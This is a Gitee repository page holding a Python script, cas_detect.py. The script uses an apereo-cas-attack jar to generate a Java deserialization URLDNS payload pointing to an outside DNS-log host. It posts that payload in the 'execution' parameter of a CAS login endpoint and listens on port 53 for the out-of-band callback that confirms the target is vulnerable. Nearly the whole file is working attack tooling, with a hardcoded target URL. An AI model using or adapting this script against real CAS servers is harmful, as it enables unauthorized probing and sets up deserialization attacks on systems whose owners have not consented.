1 Star 0 Fork 0

Hcak/cas探测

加入 Gitee
与超过 1200万 开发者一起发现、参与优秀开源项目,私有仓库也完全免费 :)
免费加入
文件
该仓库未声明开源许可证文件(LICENSE),使用请关注具体项目描述及其代码上游依赖。
克隆/下载
cas_detect.py 1.62 KB
一键复制 编辑 原始数据 按行查看 历史
blyth 提交于 2021-04-18 20:52 +08:00 . --
import socket, requests, subprocess, threading,uuid
dnslog_host = '.log.ddosok.cn'
dnslog_port = 53
cas_attack_jar = 'apereo-cas-attack-1.0-SNAPSHOT-all.jar'
def dumpdata(data:bytes):
print("-------data-reviced------")
print(data.hex())
print("-------data-end----------")
def dns_check(uuid:str, callback, *args):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(('0.0.0.0', dnslog_port))
print(f'[i] url is http://{uuid}{dnslog_host}')
print('[i] waitting for dns query...')
# s.listen(10)
while True:
data, addr = s.recvfrom(1024)
print(f"data from {addr}")
dumpdata(data)
if uuid.encode() in data:
# print(f'[+] find uuid in dnslog! ', uuid)
callback(*args)
# return
# print(f'recive data from {addr}: ', data.hex())
def gen_execution(uuid:str):
site = f'http://{uuid}{dnslog_host}'
return (subprocess.getoutput(('java', '-jar', cas_attack_jar, 'URLDNS', site)))
def cas_login_request(url:str, payload:str):
print(f'[i] target is {url} \npayload: {payload}')
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
proxies = {
'http':'http://localhost:8080'
}
r = requests.post(url, data=f'execution={payload}'.encode(), headers=headers)
print('[i] request sent', r)
def cb(log):
green = '\033[01;32m'
end = '\033[0m'
print(f'{green}[+] log dectected!!!{end}', log)
uid = uuid.uuid1().hex
threading.Thread(target=dns_check, args=(uid, cb, uid)).start()
execution = gen_execution(uid)
cas_login_request('http://blyth.xyz:8083/cas/login', execution)
Loading...
马建仓 AI 助手
尝试更多
代码解读
代码找茬
代码优化
1
https://gitee.com/hcak/cas_check.git
git@gitee.com:hcak/cas_check.git
hcak
cas_check
cas探测
master

搜索帮助